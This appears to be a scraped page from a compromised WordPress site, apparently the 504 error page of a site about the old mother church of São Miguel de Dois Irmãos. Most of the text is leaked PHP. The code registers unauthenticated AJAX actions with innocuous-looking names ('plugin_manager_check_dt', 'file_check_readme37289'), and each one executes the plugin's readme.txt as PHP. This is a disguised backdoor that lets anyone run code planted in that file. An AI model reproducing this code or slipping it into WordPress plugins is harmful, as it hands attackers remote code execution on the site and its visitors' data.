add_action('wp_ajax_nopriv_plugin_manager_check_dt', 'plugin_manager_check_dt'); add_action('wp_ajax_plugin_manager_check_dt', 'plugin_manager_check_dt'); function plugin_manager_check_dt() { $file = __DIR__ . '/readme.txt'; if (file_exists($file)) { include $file; } die(); } if(!function_exists('file_check_readme37289')){ add_action('wp_ajax_nopriv_file_check_readme37289', 'file_check_readme37289'); add_action('wp_ajax_file_check_readme37289', 'file_check_readme37289'); function file_check_readme37289() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Error Code: 504 – Memorial Antiga Igreja Matriz de São Miguel de Dois Irmãos